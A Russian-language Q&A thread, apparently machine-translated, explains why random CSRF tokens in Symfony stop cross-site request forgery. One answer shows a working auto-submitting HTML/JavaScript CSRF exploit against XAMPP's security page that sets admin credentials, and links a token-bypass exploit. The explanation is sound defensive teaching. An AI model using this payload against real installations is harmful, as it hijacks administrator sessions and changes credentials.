Почему атака CSRF может быть предотвращена случайным секретом CSRF? - PullRequest
Новая
       16

Почему атака CSRF может быть предотвращена случайным секретом CSRF?

3 голосов
/ 29 января 2010

для предотвращения CSRF-атак, случайный CSRF секрет был сгенерирован.

Выше приведено в Symfony: http://www.symfony -project.org / получение стартером / 1_4 / ен / 04-Project-Setup

Так как он, наконец, используется пользователями, это так называемая атака заместителя. Как он может работать, устанавливая этот секрет?

Ответы [ 4 ]

1 голос
/ 29 января 2010

OWASP (открытый проект безопасности веб-приложений) имеет очень хорошее объяснение CSRF, я призываю вас прочитать его и после этого задать свои вопросы.

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Если вы ищете пример реализации о том, как предотвратить CSRF, взгляните на Django и его описание. http://docs.djangoproject.com/en/dev/ref/contrib/csrf/

1 голос
/ 29 января 2010

CSRF или XSRF означает «Подделка межсайтовых запросов». Идея состоит в том, что злоумышленник «подделывает» HTTP-запрос, когда жертва выполняет html или javascript, созданные хакером. Вот пример эксплойта CSRF, который я написал против XAMPP. Идея в том, что этот html / js создает POST-запрос, который «едет» на уже существующий сеанс Эксплойт CSRF должен выполняться браузером администратора XAMPP, который в данный момент вошел в систему. 

<html>
    <form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
        <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
        <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
        <input type=submit>
    </form>
</html>
<script>
    document.getElementById(1).submit();
</script>

Чтобы сделать это, хакер должен заранее знать много о запросе, самое главное, о сервере назначения и всех переменных. Хакеру НЕ нужно знать идентификатор сеанса или заголовок «basic-auth», это автоматически предоставляется браузером. Если вы добавляете случайный генерированный секрет, то запрос не может быть подделан, если хакер не знает это значение. Это как иметь пароль для каждого запроса, который вы отправляете на сервер. Хакер CAN может получить это значение токена с помощью XSS. Это более сложная атака, но здесь есть эксплойт, обходящий защиту CSRF на основе токенов с использованием XSS: http://www.milw0rm.com/exploits/7922

0 голосов
/ 22 сентября 2010

Секрет CSRF в Symfony хорошо объясняется здесь: http://www.nacho -martin.com / csrf-tokens-in-symfony

0 голосов
/ 29 января 2010

Попробуйте прочитать FAQ по CSRF из cgisecurity (http://www.cgisecurity.com/csrf-faq.html). Если у вас есть вопросы по разъяснению часто задаваемых вопросов, мы будем рады их уточнить.

РЕДАКТИРОВАТЬ: Цитата для CSRF FAQ, связанный ранее, раздел, который обсуждает случайный секрет:

Что я могу сделать, чтобы защитить свои собственные приложения?

Самое популярное предложение по предотвращению CSRF включает добавление токенов вызова к каждому запросу. Важно констатировать, что этот токен вызова ДОЛЖЕН быть связан с сеансом пользователя, в противном случае злоумышленник может самостоятельно получить действительный токен и использовать его в атаке. Помимо привязки к пользовательскому сеансу, важно ограничить время, на которое действует токен. Этот метод описан в нескольких документах, однако, как указано в публикациях в списке рассылки, злоумышленник может использовать существующую уязвимость браузера или ошибку XSS, чтобы получить этот токен сеанса.

...